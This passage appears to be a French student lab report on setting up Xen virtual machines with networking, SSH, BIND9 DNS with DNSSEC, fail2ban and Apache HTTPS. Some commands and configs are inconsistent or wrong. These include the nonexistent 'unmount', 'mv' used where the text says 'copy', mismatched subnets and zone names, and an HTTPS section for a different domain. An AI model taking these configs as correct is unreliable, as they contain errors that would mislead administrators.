&lt;br /&gt;
On copie les données et on démonte le fichier copié:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mv /var/* /mnt&lt;br /&gt;
unmount /mnt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous pouvons maintenant observer les changement:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mount -a&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=IP=&lt;br /&gt;
Nous voulons maintenant assigner des adresse IPv4 et IPv6 à nos VM, chaque VM de service aura une IP privée, la VM mandataire aura une IP privée + une IP routée, pour cela nous modifions le fichier /etc/network/interfaces de nos VM, il ne faut pas oublier de modifier le fichier .cfg pour rajouter nos machines sur le commutateur SE4 (commutateur de la promo) en prenant la même adresse MAC et faire +1:&lt;br /&gt;
&lt;br /&gt;
==VM de service==&lt;br /&gt;
&lt;br /&gt;
Pour configurer le réseau, nous modifions le fichier /etc/network/interfaces afin d’attribuer une adresse IPv4 et une adresse IPv6.&lt;br /&gt;
&lt;br /&gt;
Tout d'abord nous devons mettre nos machines sur le commutateur de la promo en modifiant le fichier .cfg:&lt;br /&gt;
&lt;br /&gt;
L’adresse IPv6 ne pose aucun problème : il suffit d’ajouter la ligne suivante :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
iface eth0 inet6 auto&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Concernant l’adresse IPv4, nous avons choisi une adresse privée pour l’utilisation de notre binôme : 192.168.0.0/24.&lt;br /&gt;
&lt;br /&gt;
De plus, la machine mandataire joue le rôle de passerelle (gateway) pour les deux machines de services. Nous lui avons attribué l’adresse IPv4 192.168.0.1.&lt;br /&gt;
&lt;br /&gt;
Nous complétons donc le fichier avec une adresse statique :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 192.168.7.2 &lt;br /&gt;
    netmask 255.255.255.0&lt;br /&gt;
    gateway 192.168.7.1 &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==VM mandataire==&lt;br /&gt;
&lt;br /&gt;
Ensuite, il est nécessaire d’attribuer une seconde adresse IPv4 sur eth1. Toutefois, cette interface n’existe pas par défaut sur les machines virtuelles (VM). Il faut donc la créer en modifiant le fichier .cfg de la machine sur Capbreton.&lt;br /&gt;
&lt;br /&gt;
Dans la section Networking, on trouve une ligne vif à modifier. Nous l’ajustons pour ajouter une interface eth1 sur le bridge SE4, tout en conservant eth0.&lt;br /&gt;
&lt;br /&gt;
Après avoir redémarré la machine, l’interface eth1 sera disponible. Nous pouvons alors mettre à jour le fichier /etc/network/interfaces :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
# The loopback network interface&lt;br /&gt;
auto lo&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
# Primary interface&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 192.168.7.1/24&lt;br /&gt;
&lt;br /&gt;
# Second interface&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
    address 193.48.57.170/27&lt;br /&gt;
    gateway 193.48.57.164&lt;br /&gt;
&lt;br /&gt;
iface eth1 inet6 auto&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Tests ==&lt;br /&gt;
&lt;br /&gt;
Après avoir mis UP toute les interfaces de nos VM nous obtenons bien nos adresse IPv4 et IPv6.&lt;br /&gt;
&lt;br /&gt;
Voici l'état des interfaces de la machine de service RS7 :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@rs7:~# ip a&lt;br /&gt;
1: lo: &amp;lt;LOOPBACK,UP,LOWER_UP&amp;gt; mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000&lt;br /&gt;
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00&lt;br /&gt;
    inet 127.0.0.1/8 scope host lo&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 ::1/128 scope host &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
2: eth0: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc fq_codel state UP group default qlen 1000&lt;br /&gt;
    link/ether 00:16:3e:d3:d6:92 brd ff:ff:ff:ff:ff:ff&lt;br /&gt;
    inet 192.168.7.2/24 brd 192.168.7.255 scope global eth0&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 fe80::216:3eff:fed3:d692/64 scope link &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
3: eth1: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc fq_codel state UP group default qlen 1000&lt;br /&gt;
    link/ether 00:16:3e:d3:d6:93 brd ff:ff:ff:ff:ff:ff&lt;br /&gt;
    inet6 2001:660:4401:60a0:216:3eff:fed3:d693/64 scope global dynamic mngtmpaddr &lt;br /&gt;
       valid_lft 942sec preferred_lft 842sec&lt;br /&gt;
    inet6 fe80::216:3eff:fed3:d693/64 scope link &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Et voici l'état des interface de la machines mandataire Garage :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@Garage:~# ip a&lt;br /&gt;
1: lo: &amp;lt;LOOPBACK,UP,LOWER_UP&amp;gt; mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000&lt;br /&gt;
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00&lt;br /&gt;
    inet 127.0.0.1/8 scope host lo&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 ::1/128 scope host &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
2: eth0: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc fq_codel state UP group default qlen 1000&lt;br /&gt;
    link/ether 00:16:3e:e4:9c:07 brd ff:ff:ff:ff:ff:ff&lt;br /&gt;
    inet 192.168.7.1/24 brd 192.168.7.255 scope global eth0&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 fe80::216:3eff:fee4:9c07/64 scope link &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
3: eth1: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc fq_codel state UP group default qlen 1000&lt;br /&gt;
    link/ether 00:16:3e:e4:9c:08 brd ff:ff:ff:ff:ff:ff&lt;br /&gt;
    inet 193.48.57.170/27 brd 193.48.57.191 scope global eth1&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 2001:660:4401:60a0:216:3eff:fee4:9c08/64 scope global dynamic mngtmpaddr &lt;br /&gt;
       valid_lft 893sec preferred_lft 793sec&lt;br /&gt;
    inet6 fe80::216:3eff:fee4:9c08/64 scope link &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Test de la LAN ===&lt;br /&gt;
&lt;br /&gt;
Nous pouvons maintenant ping entre nos VM, voici un ping de RS7 vers C2:&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Ping C2.png|vignette|center|800px]]&lt;br /&gt;
&lt;br /&gt;
Et voici un ping de RS7 vers Garages&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Ping Garage.png|vignette|center|800px]]&lt;br /&gt;
&lt;br /&gt;
=== Test vers l'extérieur ===&lt;br /&gt;
&lt;br /&gt;
Nous vérifions maintenant si ma machines de service RS7 à bien accès à internet en IPv4 (via la VM mandataire) et en IPv6.&lt;br /&gt;
&lt;br /&gt;
Voici un ping de RS7 vers l'extérieur en IPv4:&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Ping ipv4.png|vignette|center|800px]]&lt;br /&gt;
&lt;br /&gt;
Et voici un ping de RS7 vers l'extérieur en IPv6:&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Ping ipv6|vignette|center|800px]]&lt;br /&gt;
&lt;br /&gt;
=SSH=&lt;br /&gt;
&lt;br /&gt;
Nous avons configuré l’accès SSH à notre machine virtuelle Xen de services en autorisant la connexion de l’utilisateur root via le fichier /etc/ssh/sshd_config en activant l’option PermitRootLogin. Pour permettre l’accès via IPv4, nous avons mis en place une redirection de ports en utilisant iptables/nftables, en assignant le port 2203 à notre machine de services. De plus, nous avons installé les services essentiels, à savoir SSH, Apache2 pour l’hébergement web, ainsi que BIND pour la gestion des services DNS sur nos machines virtuelles.&lt;br /&gt;
&lt;br /&gt;
=DNS=&lt;br /&gt;
==Configuration du résolveur==&lt;br /&gt;
Nous avons configuré le serveur DNS de notre machine de services en modifiant le fichier resolv.conf pour y ajouter notre propre serveur DNS. Cela permet à la machine d’utiliser le bon résolveur pour la résolution des noms de domaine:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
search plil.info&lt;br /&gt;
nameserver 172.26.188.12&lt;br /&gt;
nameserver 193.48.57.48&lt;br /&gt;
&lt;br /&gt;
search rs7.online&lt;br /&gt;
nameserver 192.168.7.2&lt;br /&gt;
nameserver 192.168.7.3&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Configuration des zones==&lt;br /&gt;
Ensuite, nous avons modifié le fichier named.conf.local du package BIND9 afin de déclarer une zone principale pour rs7.online et une zone secondaire pour c2vts.fr.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
zone &amp;quot;rs7.zone&amp;quot; {&lt;br /&gt;
    type primary;&lt;br /&gt;
    file &amp;quot;/etc/bind/zones/rs7.zone.signed&amp;quot;;&lt;br /&gt;
    allow-transfer { secondaries; };&lt;br /&gt;
    also-notify { 2001:660:4401:60a0:216:3eff:fee4:9c08; };&lt;br /&gt;
    key-directory &amp;quot;/etc/bind/rs7.dnssec&amp;quot;;&lt;br /&gt;
    dnssec-policy &amp;quot;dnspol&amp;quot;;&lt;br /&gt;
    inline-signing yes;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
dnssec-policy &amp;quot;dnspol&amp;quot; {&lt;br /&gt;
    keys {&lt;br /&gt;
        ksk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
        zsk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
    };&lt;br /&gt;
    nsec3param;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
acl &amp;quot;secondaries&amp;quot; {&lt;br /&gt;
    2001:660:4401:60a0:216:3eff:fed3:58ae;&lt;br /&gt;
    2001:660:4401:60a0:216:3eff:fee4:9c08;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;c2vts.fr&amp;quot; {&lt;br /&gt;
    type secondary;&lt;br /&gt;
    file &amp;quot;/etc/bind/backup/c2vts.fr.zone&amp;quot;;&lt;br /&gt;
    primaries { 2001:660:4401:60a0:216:3eff:fed3:58ae; };&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Création et configuration du fichier .zone==&lt;br /&gt;
Nous avons ensuite créé et configuré le fichier rs7.zone.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
$TTL 200&lt;br /&gt;
@       IN      SOA     ns.rs7.online. admin.rs7.online. (&lt;br /&gt;
        4004    ; Version&lt;br /&gt;
        21600   ; Refresh secondary    (6h)&lt;br /&gt;
        3600    ; Retry secondary      (1h)&lt;br /&gt;
        2592000 ; Expire if no refresh (30j)&lt;br /&gt;
        86400 ) ; Negative cache       (24h)&lt;br /&gt;
&lt;br /&gt;
; Serveurs de noms&lt;br /&gt;
@        IN      NS      ns.rs7.online.&lt;br /&gt;
@        IN      NS      ns.c2vts.fr.&lt;br /&gt;
&lt;br /&gt;
;Enregistrements A &lt;br /&gt;
@        IN     A     193.48.57.170&lt;br /&gt;
ns       IN     A     193.48.57.170 &lt;br /&gt;
&lt;br /&gt;
;Enregistrements AAAA&lt;br /&gt;
@        IN     AAAA  2001:660:4401:60a0:216:3eff:fed3:d693&lt;br /&gt;
ns       IN     AAAA  2001:660:4401:60a0:216:3eff:fed3:d693&lt;br /&gt;
&lt;br /&gt;
;Enregistrements CNAME&lt;br /&gt;
www      IN     CNAME rs7.online.&lt;br /&gt;
&lt;br /&gt;
$include &amp;quot;/etc/bind/rs7.dnssec/rs7.online-ksk.key&amp;quot;&lt;br /&gt;
$include &amp;quot;/etc/bind/rs7.dnssec/rs7.online-zsk.key&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On charge la version du fichier de zone avec la commande suivante :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@Gtr:/etc/bind/zones/rs7.online# named-checkzone rs7.zone&lt;br /&gt;
zone rs7.zone/IN: loaded serial 4004&lt;br /&gt;
OK&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Vérifications==&lt;br /&gt;
Enfin, nous avons vérifié la syntaxe et chargé ces fichiers de zone en utilisant la commande suivante dans le répertoire concerné :&lt;br /&gt;
&lt;br /&gt;
named-checkzone &amp;lt;nom du fichier&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ces configurations nous permettent d’assurer une résolution correcte des noms de domaine et de gérer efficacement notre infrastructure DNS.&lt;br /&gt;
&lt;br /&gt;
Après avoir effectué ces modifications, nous pouvons vérifier si notre DNS s’est correctement propagé sur le site DNSchecker.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:DNS.png|vignette|center|900px]]&lt;br /&gt;
&lt;br /&gt;
=DNSSEC=&lt;br /&gt;
&lt;br /&gt;
==Configuration de la méthode automatique==&lt;br /&gt;
Pour sécuriser notre DNS, nous modifions notre fichier named.conf.local pour utiliser la méthode automatique:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
zone &amp;quot;rs7&amp;quot; {&lt;br /&gt;
    type primary;&lt;br /&gt;
    file &amp;quot;/etc/bind/zones/rs7.zone.signed&amp;quot;;&lt;br /&gt;
    allow-transfer { secondaries; };&lt;br /&gt;
    also-notify { 2001:660:4401:60a0:216:3eff:fee4:9c08; };&lt;br /&gt;
    key-directory &amp;quot;/etc/bind/rs7.dnssec&amp;quot;;&lt;br /&gt;
    dnssec-policy &amp;quot;dnspol&amp;quot;;&lt;br /&gt;
    inline-signing yes;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
dnssec-policy &amp;quot;dnspol&amp;quot; {&lt;br /&gt;
    keys {&lt;br /&gt;
        ksk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
        zsk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
    };&lt;br /&gt;
    nsec3param;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
acl &amp;quot;secondaries&amp;quot; {&lt;br /&gt;
    2001:660:4401:60a0:216:3eff:fed3:58ae;&lt;br /&gt;
    2001:660:4401:60a0:216:3eff:fee4:9c08;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;c2vts.fr&amp;quot; {&lt;br /&gt;
    type secondary;&lt;br /&gt;
    file &amp;quot;/etc/bind/backup/c2vts.fr.zone&amp;quot;;&lt;br /&gt;
    primaries { 2001:660:4401:60a0:216:3eff:fed3:58ae; };&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Génération des clés==&lt;br /&gt;
ensuite nous créeons le répertoire qui va acceuillir nos clés:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mkdir -p /etc/bind/keys&lt;br /&gt;
chown bind:bind /etc/bind/keys&lt;br /&gt;
chmod 700 /etc/bind/keys&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
et nous redémarrons le service :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
service named restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
voici nos clés disponible dans le répertoire /etc/bind/keys crée ci-dessus:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@rs7:/etc/bind/rs7.dnssec# ls&lt;br /&gt;
Krs7.+013+14689.key	 Krs7.+013+57317.private  rs7.online-ksk.private&lt;br /&gt;
Krs7.+013+14689.private  Krs7.+013+57317.state	  rs7.online-zsk.key&lt;br /&gt;
Krs7.+013+14689.state	 dsset-rs7.		  rs7.online-zsk.private&lt;br /&gt;
Krs7.+013+57317.key	 rs7.online-ksk.key&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous pouvons maintenant verifier sur le site &amp;quot;DNSViz&amp;quot; le DNS de rs7.online.&lt;br /&gt;
&lt;br /&gt;
=Fail2Ban=&lt;br /&gt;
Pour filtrer les attaques par brute force sur le port ssh, nous utilisons l'utilitaire fail2ban. D'abord, on modifie le fichier &amp;lt;code&amp;gt;jail.local&amp;lt;/code&amp;gt; pour y ajouter des paramètres.&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
[sshd]&lt;br /&gt;
enabled = true&lt;br /&gt;
port    = ssh&lt;br /&gt;
filter = sshd&lt;br /&gt;
logpath = %(sshd_log)s&lt;br /&gt;
backend = %(sshd_backend)s&lt;br /&gt;
maxretry = 3&lt;br /&gt;
findtime = 600&lt;br /&gt;
bantime = 600&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;code&amp;gt;maxretry&amp;lt;/code&amp;gt; correspond au nombre de tentatives avant le ban, &amp;lt;code&amp;gt;findtime&amp;lt;/code&amp;gt; correspond au temps avant lequel le nombre de tentatives utilisé par l'utilisateur est réinitialisé et &amp;lt;code&amp;gt;bantime&amp;lt;/code&amp;gt; correspond au temps durant lequel un utilisateur est banni. &lt;br /&gt;
&lt;br /&gt;
La commande &amp;lt;code&amp;gt;fail2ban-client status sshd&amp;lt;/code&amp;gt; nous permet d'identifier le nombre d'utilisateurs ayant tenté de se connecter, le nombre d'utilisateurs ayant été bannis et la liste des utilisateurs actuellement bannis.&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@Rigo:/etc/bind/keys# fail2ban-client status sshd&lt;br /&gt;
Status for the jail: sshd&lt;br /&gt;
|- Filter&lt;br /&gt;
|  |- Currently failed: 0&lt;br /&gt;
|  |- Total failed:     1&lt;br /&gt;
|  `- File list:        /var/log/auth.log&lt;br /&gt;
`- Actions&lt;br /&gt;
   |- Currently banned: 0&lt;br /&gt;
   |- Total banned:     1&lt;br /&gt;
   `- Banned IP list:&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On fait de même pour les attaques DNS. Dans le fichier &amp;lt;code&amp;gt;jail.local&amp;lt;/code&amp;gt; on ajoute :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
[connect-refused]&lt;br /&gt;
enabled = true&lt;br /&gt;
port = domain&lt;br /&gt;
protocol = tcp&lt;br /&gt;
filter = connect-refused&lt;br /&gt;
logpath = /var/log/syslog&lt;br /&gt;
maxretry = 3&lt;br /&gt;
bantime = 600&lt;br /&gt;
findtime = 600&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ensuite, on crée une règle dans le répertoire  &amp;lt;code&amp;gt;filter.d&amp;lt;/code&amp;gt; &amp;lt;code&amp;gt;connect-refused&amp;lt;/code&amp;gt; afin d'y ajouter les règles définissant les requêtes TCP à bannir.&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@Rigo:/etc/fail2ban/filter.d# cat connect-refused.conf&lt;br /&gt;
[Definition]&lt;br /&gt;
failregex = .* client_ip=&amp;lt;HOST&amp;gt;.*(NXDOMAIN|SERVFAIL|REFUSED).*&lt;br /&gt;
ignoreregex =&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;La commande &amp;lt;code&amp;gt;fail2ban-client status connect-refused&amp;lt;/code&amp;gt; nous permet d'identifier le nombre d'utilisateurs ayant tenté de se connecter, le nombre d'utilisateurs ayant été bannis et la liste des utilisateurs actuellement bannis.&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@Rigo:/etc/fail2ban/filter.d# fail2ban-client status connect-refused&lt;br /&gt;
Status for the jail: connect-refused&lt;br /&gt;
|- Filter&lt;br /&gt;
|  |- Currently failed: 0&lt;br /&gt;
|  |- Total failed:     0&lt;br /&gt;
|  `- File list:        /var/log/syslog&lt;br /&gt;
`- Actions&lt;br /&gt;
   |- Currently banned: 0&lt;br /&gt;
   |- Total banned:     0&lt;br /&gt;
   `- Banned IP list:&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=HTTPS=&lt;br /&gt;
==Installation d'Apache2==&lt;br /&gt;
Dans un premier temps, j'ai installé le serveur Apache en utilisant la commande suivante :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
aptitude install apache2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite, j'ai activé le module SSL pour permettre les connexions HTTPS :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
a2enmod ssl&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Activation du port HTTPS==&lt;br /&gt;
Dans le fichier `/etc/apache2/ports.conf`, j'ai ajouté la configuration nécessaire pour qu'Apache écoute sur le port 443, le port HTTPS :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@Gtr:~# cat /etc/apache2/ports.conf&lt;br /&gt;
# Port HTTP classique&lt;br /&gt;
Listen 80&lt;br /&gt;
&lt;br /&gt;
# Port HTTPS&lt;br /&gt;
&amp;lt;IfModule ssl_module&amp;gt;&lt;br /&gt;
    Listen 443&lt;br /&gt;
&amp;lt;/IfModule&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;IfModule mod_gnutls.c&amp;gt;&lt;br /&gt;
    Listen 443&lt;br /&gt;
&amp;lt;/IfModule&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Configuration du certificat SSL==&lt;br /&gt;
J'ai installé un certificat SSL, ainsi que la clé privée et le certificat intermédiaire fourni par Gandi pour créer une chaîne de confiance. Ces fichiers sont placés dans les répertoires appropriés sur le serveur :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
/etc/ssl/certs/rs7.online.crt : Certificat SSL&lt;br /&gt;
/etc/ssl/private/rs7.online.key : Clé privée&lt;br /&gt;
/etc/ssl/certs/GandiCert.pem : Certificat intermédiaire&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Configuration du domaine sécurisé==&lt;br /&gt;
J'ai créé un fichier de configuration spécifique pour mon domaine (rs7.online) dans le répertoire `/etc/apache2/sites-available/rs7.online.conf`. Ce fichier définit un `VirtualHost` pour le port 443 et redirige toute les requetes http sur le port 80 vers https :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@Gtr:~# cat /etc/apache2/sites-available/000-wahran.online-ssl.conf &lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
        ServerName wahran.online&lt;br /&gt;
        Redirect permanent / https://ns.wahran.online/  &lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;VirtualHost *:443&amp;gt;&lt;br /&gt;
&lt;br /&gt;
        ServerName wahran.online&lt;br /&gt;
        ServerAlias wahran.online&lt;br /&gt;
        DocumentRoot /var/www/wahran.online/&lt;br /&gt;
        CustomLog /var/log/apache2/secure_access.log combined&lt;br /&gt;
&lt;br /&gt;
        SSLEngine on&lt;br /&gt;
        SSLCertificateFile /etc/ssl/certs/wahran.online.crt&lt;br /&gt;
        SSLCertificateKeyFile /etc/ssl/private/myserver.key&lt;br /&gt;
        SSLCertificateChainFile /etc/ssl/certs/GandiCert.pem&lt;br /&gt;
        SSLVerifyClient None&lt;br /&gt;
        SSLProxyEngine on&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
lorsque l'on se rend sur h, nous somme redirigé vers .&lt;br /&gt;
&lt;br /&gt;
==Configuration DNS avec DNSSEC==&lt;br /&gt;
Pour la gestion des DNS de mon domaine, j'ai configuré le fichier `/etc/bind/named.conf.local` pour ajouter la zone DNS de `wahran.online` avec une politique DNSSEC, ce qui renforce la sécurité de la gestion de mes enregistrements DNS :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@Gtr:~# cat /etc/bind/named.conf.local&lt;br /&gt;
//&lt;br /&gt;
// Do any local configuration here&lt;br /&gt;
//&lt;br /&gt;
&lt;br /&gt;
// Consider adding the 1918 zones here, if they are not used in your&lt;br /&gt;
// organization&lt;br /&gt;
//include &amp;quot;/etc/bind/zones.rfc1918&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;wahran.online&amp;quot; {&lt;br /&gt;
	type master;&lt;br /&gt;
	file &amp;quot;/etc/bind/wahran.online/wahran.zone&amp;quot;;&lt;br /&gt;
	allow-transfer{secondaries;}; // filtrage des secondaires&lt;br /&gt;
//	also-notify{hiddensecondaries;}; // pour les secondaires vicieux&lt;br /&gt;
	notify yes; // notification des secondaires&lt;br /&gt;
	key-directory &amp;quot;/etc/bind/keys&amp;quot;; //repertoire des keys&lt;br /&gt;
  	dnssec-policy &amp;quot;dnspol&amp;quot;; //utilisation d'une politique DNSSEC&lt;br /&gt;
  	inline-signing yes; //activation de la signature automatique&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
acl &amp;quot;secondaries&amp;quot; {&lt;br /&gt;
	192.168.0.3; // serveur secondaire&lt;br /&gt;
	2001:660:4401:60a0:216:3eff:fea0:ae02; //IPv6 Proxy&lt;br /&gt;
	2001:660:4401:60a0:216:3eff:fe81:abfe; //serveur secondaire IPV6&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
dnssec-policy &amp;quot;dnspol&amp;quot; {&lt;br /&gt;
    keys {&lt;br /&gt;
        ksk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
        zsk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
    };&lt;br /&gt;
    nsec3param;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
masters &amp;quot;hiddensecondaries&amp;quot;{&lt;br /&gt;
	2001:660:4401:60a0:216:3eff:fea0:ae02;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;alloco.online&amp;quot;{&lt;br /&gt;
	type slave;&lt;br /&gt;
	file &amp;quot;/etc/bind/backup/alloco.online&amp;quot;;&lt;br /&gt;
	masters{2001:660:4401:60a0:216:3eff:fe81:abfe;};&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Vérification du certificat SSL==&lt;br /&gt;
Enfin, j'ai effectué le rehash de la structure SSL pour m'assurer que tous les certificats étaient bien reconnus et prêts à être utilisés :&lt;br /&gt;
